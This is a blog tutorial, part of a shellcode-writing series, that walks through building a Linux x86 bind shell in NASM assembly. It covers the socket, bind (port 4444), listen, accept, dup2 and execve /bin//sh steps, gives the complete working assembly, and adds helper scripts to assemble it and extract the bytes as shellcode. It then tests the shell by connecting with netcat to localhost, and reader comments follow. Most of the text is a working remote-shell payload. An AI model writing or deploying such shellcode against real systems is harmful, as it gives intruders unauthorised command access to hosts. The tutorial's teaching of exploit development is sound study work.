part 2: building the shellcode

In Part 1: Disassembling and Understanding Shellcode we disassembled some shellcode and found out the steps required to create a bind shell. In Part 2, we will take each of these 6 steps, understand them and write assembly instructions to call them.

The steps we need to follow to create our bind shell are:
1. Socket
2. Bind
3. Listen
4. Accept
5. Dup2
6. Execve

We are going to spend a lot of time working with NASM (The Netwide Assembler). To install NASM, run the following command:

sudo apt-get install nasm

We are also going to need some kernel headers for researching the calls.

sudo apt-get install linux-headers-$(uname -r)

Once that is completed, create a file called bindshell.nasm and paste the following code into it:

global _start

section .text
_start:

        ; Start of our shellcode

That should give us enough to get started, lets start working on the first call.

Step 1: Socket

Calling up the man page for socket gives us the following information:

socket() creates an endpoint for communication and returns a descriptor.
Usage:
int socket(int domain, int type, int protocol);

We can see that the socket requires 3 arguments to be passed to it:
i. Domain
ii. Type
iii. Protocol

Lets start with the socket call itself. Searching on Google shows that the socket is a sub function of the sys_socketcall system call. We’ll first need to find out what the value of this system call is to be able to use it in our assembly code.

Take a look at the following header file so see what the system call value is for “sys_socketcall.”

less /usr/include/i386-linux-gnu/asm/unistd_32.h

In that file we can see the following:

#define __NR_socketcall 102

Great, now we know our first value.

sys_socketcall = 102

However, we don’t yet know the sub functions for the sys_socketcall.

Take a look in the net.h file and you’ll find the complete list of sub calls for sys_socketcall.

less /usr/src/linux-headers-3.2.0-4-common/include/linux/net.h

#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */

We can see from this file that:

socket = 1
bind = 2
listen = 4
accept = 5

These will be the values we are going to use for each of the different sub calls.

In summary we know now that the system call for socket is under the sys_socketcall system call. The value for sys_socketcall is 102.

We also know that the value of the sys_socket sub function is 1. So we can start piecing the system call together.

sys_socketcall[102].socket[1](domain, type, protocol)

Lets find the values for these arguments.

Domain

Back in the man page for socket we can see the explanation of domain as:

The domain argument specifies a communication domain; this selects
the protocol family which will be used for communication. These
families are defined in sys/socket.h.

AF_UNIX, AF_LOCAL Local communication
AF_INET IPv4 Internet protocols
AF_INET6 IPv6 Internet protocols
AF_IPX IPX - Novell protocols
AF_NETLINK Kernel user interface device
AF_X25 ITU-T X.25 / ISO-8208 protocol
AF_AX25 Amateur radio AX.25 protocol
AF_ATMPVC Access to raw ATM PVCs
AF_APPLETALK Appletalk
AF_PACKET Low level packet interface

We’ll be using IPv4 for our bind shell so we’ll set our domain to “AF_INET.” To find the integer value for AF_INET we use more Google-Fu and we find this:

/* Supported address families. */
#define AF_UNSPEC 0
#define AF_UNIX 1 /* Unix domain sockets */
#define AF_INET 2 /* Internet IP Protocol */
#define AF_AX25 3 /* Amateur Radio AX.25 */
#define AF_IPX 4 /* Novell IPX */
#define AF_APPLETALK 5 /* Appletalk DDP */
#define AF_NETROM 6 /* Amateur radio NetROM */
#define AF_BRIDGE 7 /* Multiprotocol bridge */
#define AF_AAL5 8 /* Reserved for Werner's ATM */
#define AF_X25 9 /* Reserved for X.25 project */
#define AF_INET6 10 /* IP version 6 */

The integer of AF_INET for our domain argument will be 2

Type

The socket has the indicated type, which specifies the communication
semantics. Currently defined types are:

SOCK_STREAM Provides sequenced, reliable, two-way, connection-
based byte streams. An out-of-band data transmission
mechanism may be supported.
SOCK_DGRAM Supports datagrams (connectionless, unreliable
messages of a fixed maximum length).
SOCK_SEQPACKET Provides a sequenced, reliable, two-way connection-
based data transmission path for datagrams of fixed
maximum length; a consumer is required to read an
entire packet with each input system call.
SOCK_RAW Provides raw network protocol access.
SOCK_RDM Provides a reliable datagram layer that does not
guarantee ordering.
SOCK_PACKET Obsolete and should not be used in new programs; see
packet(7).

SOCK_STREAM appears top be the best choice here for our IPv4 bind shell.

More Google-Fu

/* Socket types. */
#define SOCK_STREAM 1 /* stream (connection) socket */
#define SOCK_DGRAM 2 /* datagram (conn.less) socket */
#define SOCK_RAW 3 /* raw socket */
#define SOCK_RDM 4 /* reliably-delivered message */
#define SOCK_SEQPACKET 5 /* sequential packet socket */
#define SOCK_PACKET 10 /* linux specific way of */
/* getting packets at the dev */
/* level. For writing rarp and */
/* other similar things on the */
/* user level. */

Our integer of SOCK_STREAM for our socket type will be 1.

Protocol

Again, consult the man page for sockets.

The protocol specifies a particular protocol to be used with the
socket. Normally only a single protocol exists to support a
particular socket type within a given protocol family, in which case
protocol can be specified as 0. However, it is possible that many
protocols may exist, in which case a particular protocol must be
specified in this manner. The protocol number to use is specific to
the “communication domain” in which communication is to take place;
see protocols(5).

Find the protocol in the header file.

less /usr/src/linux-headers-3.2.0-4-common/include/linux/in.h

/* Standard well-defined IP protocols. */
enum {
IPPROTO_IP = 0, /* Dummy protocol for TCP */
IPPROTO_ICMP = 1, /* Internet Control Message Protocol */
IPPROTO_IGMP = 2, /* Internet Group Management Protocol */
IPPROTO_IPIP = 4, /* IPIP tunnels (older KA9Q tunnels use 94) */
IPPROTO_TCP = 6, /* Transmission Control Protocol */
IPPROTO_EGP = 8, /* Exterior Gateway Protocol */
IPPROTO_PUP = 12, /* PUP protocol */
IPPROTO_UDP = 17, /* User Datagram Protocol */
IPPROTO_IDP = 22, /* XNS IDP protocol */
IPPROTO_DCCP = 33, /* Datagram Congestion Control Protocol */
IPPROTO_RSVP = 46, /* RSVP protocol */
IPPROTO_GRE = 47, /* Cisco GRE tunnels (rfc 1701,1702) */
IPPROTO_IPV6 = 41, /* IPv6-in-IPv4 tunnelling */
IPPROTO_ESP = 50, /* Encapsulation Security Payload protocol */
IPPROTO_AH = 51, /* Authentication Header protocol */
IPPROTO_BEETPH = 94, /* IP option pseudo header for BEET */
IPPROTO_PIM = 103, /* Protocol Independent Multicast */
IPPROTO_COMP = 108, /* Compression Header protocol */
IPPROTO_SCTP = 132, /* Stream Control Transport Protocol */
IPPROTO_UDPLITE = 136, /* UDP-Lite (RFC 3828) */
IPPROTO_RAW = 255, /* Raw IP packets */
IPPROTO_MAX
};

For our IPv4 bind shell the best choice would be IPPROTO_IP which has the value of 0.

If we add these new parameters to the socket call, we get the following call.

sys_socketcall[102 => eax].socket[1 => ebx](2, 1, 0 => ecx)

Seems simple enough, lets get these values into the registers.

Open up the bindshell.nasm file and start creating our assembly code.

First, we need to clear out any values that may exist in eax or ebx. We can do this by xoring the register with itself. We’ll also add comments to the shellcode as we go so we know what we are doing.

global _start			

section .text
_start:

        ; Start of our shellcode
        ; sys_socket (creating a socket for our connection)

        xor eax, eax	; clear the value of eax 
        xor ebx, ebx	; clear the value of ebx 

Write the values of the sys_socketcall and sys_socket into the registers.

mov eax, 102      ; set eax to 102 (sys_socketcall)
mov ebx, 1              ; set ebx to 1 (sys_socket)

To build the parameters, there are two things we need to keep in mind. Firstly, we need to pass them onto the stack in “reverse” order. This is so when the system reads the location it is reading in the correct order.

Secondly, we cannot push or mov a value of 0 as that will automatically create a null byte (\x00) which will kill our shellcode. Instead we’ll create a null in ecx by xoring it with itself and then pushing that value to the stack.

Lets push these parameters onto the stack.

xor ecx, ecx     ; clear the value of ecx
push ecx         ; push a null onto the stack (IPPROTO_IP = 0)
push 1           ; push a 1 to the stack (SOCK_STREAM = 1)
push 2           ; push a 2 to the stack (AF_INET = 2)

Now that our arguments are on the stack, we need to mov the location of them into ecx. Since esp always points to the top of the stack, we can just move esp into ecx and then ecx will point to our argument location on the stack.

mov ecx, esp        ; push the location of our arguments into ecx

Now we are ready to call the sys_socket function. We call a function using a int 0x80 (\x80).

Before we do that, we need to remember that in the man page for socket, the socket file descriptor will be returned to us. We are going to need this descriptor in other calls so we need to save it somewhere. We can put the value into edx for now.

int 0x80           ; call sys_socket
mov edx, eax       ; save the returned value to edx (socket file descriptor)

That’s it for the socket call, on to the bind call.

Step 2: Bind

Now that we’ve called the sys_socket and received the socket file descriptor, lets start building our sys_bind.

The man page for bind shows us :

When a socket is created with socket(2), it exists in a name space
(address family) but has no address assigned to it. bind() assigns
the address specified by addr to the socket referred to by the file
descriptor sockfd. addrlen specifies the size, in bytes, of the
address structure pointed to by addr. Traditionally, this operation
is called “assigning a name to a socket”.

The usage for bind is:

int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

We already know that this is part of sys_socketcall so the value for eax will be 102.

We also know from earlier that sys_bind has the value 2 which we will use in ebx

Lets look at the 3 arguments it requires though:

i. sockfd (socket file descriptor which we got from our first socket call)
ii. sockaddr (the socket address consisting of protocol, port, ip address)
iii. addrleng (the ip address length)

sockfd

We already have the socket file descriptor saved in edx so we know this value.

sockaddr

The actual structure passed for the addr argument will depend on the
address family.

The sockaddr structure is defined as something like:
struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
}

The only purpose of this structure is to cast the structure pointer
passed in addr in order to avoid compiler warnings.

When we convert this to plain “english”, we need to pass it 3 things; protocol, port, and IP address. These 3 arguments need to be placed together on the stack and then the location of these needs to be passed to the sys_bind call.

The protocol we are using is AF_INET which if you recall is IPv4 and has a value of 2

We need to choose a port number to bind to our socket and pass this value in hex to the second argument. Finding integer in hex is something we’ll need to do frequently so lets create a script to do it for us.

Create a file called int2hex.py and paste the following code into it:

#!/usr/bin/python
import sys

print hex(int(sys.argv[1]))

Make the file executable (chmod +x int2hex.py) and then run:

./int2hex.py 4444

This will take the port number you want and convert it to its hex value:

0x115c

If we convert this to little endian, we’ll end up with:

\x5c\x11

which can also be represented as

0x5c11

The last parameter we need to pass is the IP Address. Since we want to listen on any address we’ll use the INADDR_ANY argument which has a value of 0

addrlen

The last argument needed for our sys_bind call is the address length. Since we’re using IPv4, this will be 16.

In summary, our call looks like this

sys_sockcall[102 => eax].sys_bind[2 => ebx](edx, (2, \x5x\x11, 0), 16)[ => ecx]

Lets add these new values to our assembly code.

Start by clearing out eax.

xor eax, eax    ; clear the value of eax

Next lets push our 3 arguments that make up sockaddr onto the stack in reverse order.

push eax           ; push eax to the stack as it's null (INADDR_ANY = 0)
push WORD 0x5C11   ; push our port number to the stack (Port = 4444)
push WORD 2        ; push protocol argument to the stack (AF_INET = 2)

Now that we have these 3 values sitting on the stack, lets store their location in ecx using esp

mov ecx, esp       ; mov value of esp into ecx, the location of our sockaddr arguments

Lets start the final set of the bind arguments. First, we need to push the addrlen argument

push 16            ; push addrlen to stack (addrlen = 16)

Now push the location of our sockaddr argument to the stack.

push ecx           ; push ecx to stack (ecx = location of our sockaddr arguments)

Finally push the sockfd stored in edx to the stack.

push edx           ; push edx (sockfd value stored in edx)

We now have all the arguments stored on the stack, so we need to populate eax, ebx and ecx values.

xor eax, eax       ; clear value of eax
xor ebx, ebx       ; clear value of ebx
mov eax, 102       ; move value of 102 into eax (sys_sockcall = 102)
mov ebx, 2         ; move value of 2 into eax (sys_bind = 2)
mov ecx, esp       ; move the arguments into ecx

That should do it, lets call the sys_bind.

int 0x80           ; call sys_bind

That’s it, the bind has been called and port 4444 is now bound to our socket.

The next step is to start listening on that port.

Step 3: Listen

From this point on, you should know how to look up calls in the man pages so we won’t be going into as much information as before.

listen() marks the socket referred to by sockfd as a passive socket,
that is, as a socket that will be used to accept incoming connection
requests using accept(2)

Usage:
int listen(int sockfd, int backlog);

The sys_listen call, value 4, takes two arguments:
i. sockfd (the socket file descriptor)
ii. backlog (the maximum length to which the queue of pending connections for sockfd may grow)

We know that the sockfd is stored in edx.

We don’t want to set a maximum queue length so we’ll make this value 0

Our call then should look like this:

sys_sockcall[102 => eax].sys_listen[4 = ebx](sockfd[edx], backlog[0])[ => ecx];

Create the assembly instructions.

xor eax, eax         ; clear value of eax 
push eax             ; push backlog argument to stack (backlog = 0)
push edx             ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp         ; store the location of our arguments into ecx
mov eax, 102         ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx         ; clear value of ebx to 0
mov ebx, 4           ; sets the value 4 which is the value for "listen" in sys_socketcall
int 0x80             ; call sys_listen

Great, now we should have a listener on port 4444 which is connected to our socket. One last step before we test if it is actually accepting connections.

Step 4: Accept

The accept() system call is used with connection-based socket types
(SOCK_STREAM, SOCK_SEQPACKET). It extracts the first connection
request on the queue of pending connections for the listening socket,
sockfd, creates a new connected socket, and returns a new file
descriptor referring to that socket.

Usage:
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

The accept call takes 3 parameters:
i. sockfd
ii. addr
iii. addrlen

These should be familiar as we’ve used some previously in other calls.

sockfd (socket file descriptor still stored in edx)
sockaddr (the IP address we want to accept connections from)
addrlen (the IP address length we want to accept connections from)

Seeing as we want to accept connections from anywhere, we’ll leave these as 0.

So our call should look like this:

sys_socketcall[102 => eax].sys_accept[5 => ebx](sockfd[edx], addr[0], addrlen[0])[ => ecx];

Build this into assembly instructions

xor eax, eax         ; clear value of eax
push eax             ; push addrlen argument to stack (addrlen = 0)
push eax             ; push addr argument to stack (addr = 0)
push edx             ; push the sockfd argument to stack (sockfd stored in edx)
mov ecx, esp         ; move the location of our arguments into ecx
mov eax, 102         ; sets the value 102 which is the syscall number for sys_socketcall
xor ebx, ebx         ; clear value of ebx
mov ebx, 5           ; sets the value 5 which is the value for sys_accept
int 0x80             ; call sys_accept

In the accept man page, it says that sys_accept call will return a value to us, we’ll need to save this value for the next step.

mov edx, eax          ; save the return value from sys_accept to edx (client file descriptor)

Lets compile and test our code. At this point our bindshell.nasm file should look like this:

global _start			

section .text
_start:

		; Start of our shellcode

		; sys_socket (creating a socket for our connection)

		xor eax, eax       ; clear the value of eax 
		xor ebx, ebx       ; clear the value of ebx 
		mov eax, 102       ; set eax to 102 (sys_socketcall)
		mov ebx, 1         ; set ebx to 1 (sys_socket)
		xor ecx, ecx       ; clear the value of ecx
		push ecx           ; push a null onto the stack (IPPROTO_IP = 0)
		push 1             ; push a 1 to the stack (SOCK_STREAM = 1)
		push 2             ; push a 2 to the stack (AF_INET = 2)
		mov ecx, esp       ; push the location of our arguments into ecx
		int 0x80           ; call sys_socket
		mov edx, eax       ; save the returned value to edx (socket file descriptor)

		; sys_bind (bind a port number to our socket)

		xor eax, eax       ; clear the value of eax
		push eax           ; push eax to the stack as it's null (INADDR_ANY = 0)
		push WORD 0x5C11   ; push our port number to the stack (Port = 4444)
		push WORD 2        ; push protocol argument to the stack (AF_INET = 2)
		mov ecx, esp       ; mov value of esp into ecx, the location of our sockaddr arguments
		push 16            ; push addrlen to stack (addrlen = 16)
		push ecx           ; push ecx to stack (ecx = location of our sockaddr arguments)
		push edx           ; push edx (sockfd value stored in edx)
		xor eax, eax       ; clear value of eax
		xor ebx, ebx       ; clear value of ebx
		mov eax, 102       ; move value of 102 into eax (sys_sockcall = 102)
		mov ebx, 2         ; move value of 2 into eax (sys_bind = 2)
		mov ecx, esp       ; move the arguments into ecx
		int 0x80           ; call sys_bind

		; sys_listen (listen on our created socket)

		xor eax, eax       ; clear value of eax 
		push eax           ; push backlog argument to stack (backlog = 0)
		push edx           ; push the sockfd argument to stack (sockfd stored in edx)
		mov ecx, esp       ; store the location of our arguments into ecx
		mov eax, 102       ; sets the value 102 which is the syscall number for sys_socketcall
		xor ebx, ebx       ; clear value of ebx to 0
		mov ebx, 4         ; sets the value 4 which is the value for "listen" in sys_socketcall
		int 0x80           ; call sys_listen

		; sys_accept (accept connections on our created port)

		xor eax, eax       ; clear value of eax
		push eax           ; push addrlen argument to stack (addrlen = 0)
		push eax           ; push addr argument to stack (addr = 0)
		push edx           ; push the sockfd argument to stack (sockfd stored in edx)
		mov ecx, esp       ; move the location of our arguments into ecx
		mov eax, 102       ; sets the value 102 which is the syscall number for sys_socketcall
		xor ebx, ebx       ; clear value of ebx
		mov ebx, 5         ; sets the value 5 which is the value for sys_accept
		int 0x80           ; call sys_accept
		mov edx, eax       ; save the return value from sys_accept to edx (client file descriptor)

We will be compiling .nasm files a lot so lets create a script to help us do this.

Create a new file called nassemble.sh with the following code:

#!/bin/bash

nasm -f elf32 -o $1.o $1.nasm
ld -z execstack -o $1 $1.o

Make the file executable and run it while passing it our file name. make sure NOT to include the ‘.nasm’ extension as it may destroy your file.

./nassemble.sh bindshell

Lets run our bindshell file and see if it creates a listener.

./bindshell
netstat -antp

Fantastic, we have a bind listening on port 4444 listening on any IP address. So far so good. Lets get this bind to start talking to our shell.

Step 5: Dup2

dup2() makes newfd be the copy of oldfd, closing newfd first if
necessary.

Usage:
int dup2(int oldfd, int newfd);

We are going to need some file descriptors for our socket to send and receive the responses into our execve call. We will use sys_dup2 to perform this task.

sys_dup2 carries the system call value of 63.

It takes 2 arguments:
i. oldfd (old file descriptor)
ii. newfd (new file descriptor)

The oldfd will be the value we just returned after executing our sys_accept call and stored in edx.

The new file descriptor will be the ones to create. We will create the following 3 descriptors:
i. stdin (0)
ii. stdout (1)
iii. stderr (2)

Our call for sys_dup2 will look like this

 sys_dup2[63 => eax](oldfd[edx => ebx], newfd => ecx);

Build the assembly.

xor eax, eax          ; clear value of eax
mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
mov ebx, edx          ; move the stored oldfd argument to ebx (stored in edx)
xor ecx, ecx          ; set ecx to 0 for stdin
int 0x80              ; call sys_dup2

That should have created our new stdin file descriptor, now to create the stdout and stderr by incrementing ecx and recalling the sys_dup2

xor eax, eax          ; clear value of eax
mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
inc ecx               ; increment ecx to 1 for stdout
int 0x80              ; call sys_dup2
xor eax, eax          ; clear value of eax
mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
inc ecx               ; increment ecx to 2 for stderr
int 0x80              ; call sys_dup2

Great, onto the last step…execve!

Step 6: Execve

execve() executes the program pointed to by filename. filename must
be either a binary executable, or a script.

Usage:
int execve(const char *filename, char *const argv[], char *const envp[]);

Execve takes 3 arguments:
i. filename (the filename of the executable we want to run)
ii. argv[] (the arguments to pass to the executable)
iii. envp (array of environment strings passed to the executable as environment)

For filename, we will use a simple:

/bin/sh

However, to keep our code neat, lets instead use:

/bin//sh

This will keep our code at 8 chars which will line up neatly on the stack and essentially makes no difference to the operating system.

We are not going to be passing any arguments or environment settings to the executable so we will just push nulls to the stack for these two arguments.

Our call should look something like this:

sys_execve[11 => eax](filename[/bin//sh location on stack => ebx], argv[][0 => ecx], envp[0 =>edx]);

To get the hex value of your “/bin//sh” create a new file called text2stack.py with the following contents

#!/usr/bin/python

import sys
import struct

a = struct.unpack('<L', str(sys.argv[1]))

print hex(a[0])

Run the code to pull out two sets of 4 chars.

./text2stack.py /bin
./text2stack.py //sh

Build the last part of your assembly instructions using these new values.


xor ecx, ecx         ; clear value of ecx, args argument = 0
push ecx             ; push a null to the stack to terminate our filename
push 0x68732f2f      ; push //sh to the stack (second part of /bin//sh)
push 0x6e69622f      ; push /bin to the stack (first part of /bin//sh
mov ebx, esp         ; set ebx with the location of our file name on the stack
mov edx, ecx         ; move null value for envp argument into edx
xor eax, eax         ; clear value of eax
mov eax, 11          ; sets the value 11 which is the syscall number for sys_execve
int 0x80             ; call sys_execve

Our complete code should look like this:

global _start			

section .text
_start:

		; Start of our shellcode

		; sys_socket (creating a socket for our connection)

		xor eax, eax       ; clear the value of eax 
		xor ebx, ebx       ; clear the value of ebx 
		mov eax, 102       ; set eax to 102 (sys_socketcall)
		mov ebx, 1         ; set ebx to 1 (sys_socket)
		xor ecx, ecx       ; clear the value of ecx
		push ecx           ; push a null onto the stack (IPPROTO_IP = 0)
		push 1             ; push a 1 to the stack (SOCK_STREAM = 1)
		push 2             ; push a 2 to the stack (AF_INET = 2)
		mov ecx, esp       ; push the location of our arguments into ecx
		int 0x80           ; call sys_socket
		mov edx, eax       ; save the returned value to edx (socket file descriptor)

		; sys_bind (bind a port number to our socket)

		xor eax, eax       ; clear the value of eax
		push eax           ; push eax to the stack as it's null (INADDR_ANY = 0)
		push WORD 0x5C11   ; push our port number to the stack (Port = 4444)
		push WORD 2        ; push protocol argument to the stack (AF_INET = 2)
		mov ecx, esp       ; mov value of esp into ecx, the location of our sockaddr arguments
		push 16            ; push addrlen to stack (addrlen = 16)
		push ecx           ; push ecx to stack (ecx = location of our sockaddr arguments)
		push edx           ; push edx (sockfd value stored in edx)
		xor eax, eax       ; clear value of eax
		xor ebx, ebx       ; clear value of ebx
		mov eax, 102       ; move value of 102 into eax (sys_sockcall = 102)
		mov ebx, 2         ; move value of 2 into eax (sys_bind = 2)
		mov ecx, esp       ; move the arguments into ecx
		int 0x80           ; call sys_bind

		; sys_listen (listen on our created socket)

		xor eax, eax       ; clear value of eax 
		push eax           ; push backlog argument to stack (backlog = 0)
		push edx           ; push the sockfd argument to stack (sockfd stored in edx)
		mov ecx, esp       ; store the location of our arguments into ecx
		mov eax, 102       ; sets the value 102 which is the syscall number for sys_socketcall
		xor ebx, ebx       ; clear value of ebx to 0
		mov ebx, 4         ; sets the value 4 which is the value for "listen" in sys_socketcall
		int 0x80           ; call sys_listen

		; sys_accept (accept connections on our created port)

		xor eax, eax       ; clear value of eax
		push eax           ; push addrlen argument to stack (addrlen = 0)
		push eax           ; push addr argument to stack (addr = 0)
		push edx           ; push the sockfd argument to stack (sockfd stored in edx)
		mov ecx, esp       ; move the location of our arguments into ecx
		mov eax, 102       ; sets the value 102 which is the syscall number for sys_socketcall
		xor ebx, ebx       ; clear value of ebx
		mov ebx, 5         ; sets the value 5 which is the value for sys_accept
		int 0x80           ; call sys_accept
		mov edx, eax       ; save the return value from sys_accept to edx (client file descriptor)

		; sys_dup2 (create file descriptors for stdin, stdout and stderr so we can see the responses from execve)

		xor eax, eax          ; clear value of eax
		mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
		mov ebx, edx          ; move the stored oldfd argument to ebx (stored in edx)
		xor ecx, ecx          ; set ecx to 0 for stdin
		int 0x80              ; call sys_dup2
		xor eax, eax          ; clear value of eax
		mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
		inc ecx               ; increment ecx to 1 for stdout
		int 0x80              ; call sys_dup2
		xor eax, eax          ; clear value of eax
		mov eax, 63           ; sets the value 63 which is the syscall number for sys_dup2
		inc ecx               ; increment ecx to 2 for stderr
		int 0x80              ; call sys_dup2

		; sys_execve (execute /bin//sh upon connecting and pass the responses back to connector)

		xor ecx, ecx         ; clear value of ecx, args argument = 0
		push ecx             ; push a null to the stack to terminate our filename
		push 0x68732f2f      ; push //sh to the stack (second part of /bin//sh)
		push 0x6e69622f      ; push /bin to the stack (first part of /bin//sh
		mov ebx, esp         ; set ebx with the location of our file name on the stack
		mov edx, ecx         ; move null value for envp argument into edx
		xor eax, eax         ; clear value of eax
		mov eax, 11          ; sets the value 11 which is the syscall number for sys_execve
		int 0x80             ; call sys_execve

That should be the entire bind shell done. Lets assemble this and test it.

./nassemble.sh bindshell
./bindshell

Check if port 4444 in listening:

netstat -antp

Finally, connect to the listener and see if we have a shell:

nc -nv 127.0.0.1 4444
id

WIN, we have a working bind shell written 100% in assembly.

Lets take a look at our shellcode.

Create a file called getshell.sh with the following code:

#!/bin/bash

objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Make the file executable and pass your executable 'bindshell' as an argument:

./getshell bindshell

Uh OH! Even though our shellcode worked, it's full of \x00's which is bad news for us.

In Part 3: Cleaning and Optimising Shellcode we will take a look at how to clean our shellcode and remove all the null bytes as well as look at some ways to reduce it's size.

I hope you have learned a bit from reading this tutorial and feel more comfortable with assembly language as well as have some neat scripts to speed up your coding.

Keep sploiting

norsec0de

Tagged , , . Bookmark the permalink.

4 Responses to part 2: building the shellcode

  1. gdogg says:

    Great articles!
    Your link to part 1 in the body of the first paragraph is broken, though.

  2. Raymond Tant says:

    thank you for posting such a good article explaining shellcode.

  3. taes1k says:

    Dear God! Can’t possibly express my gratitude for this awesome tutorial. I learned so much from this! Thank you!

HTML Injection goes here...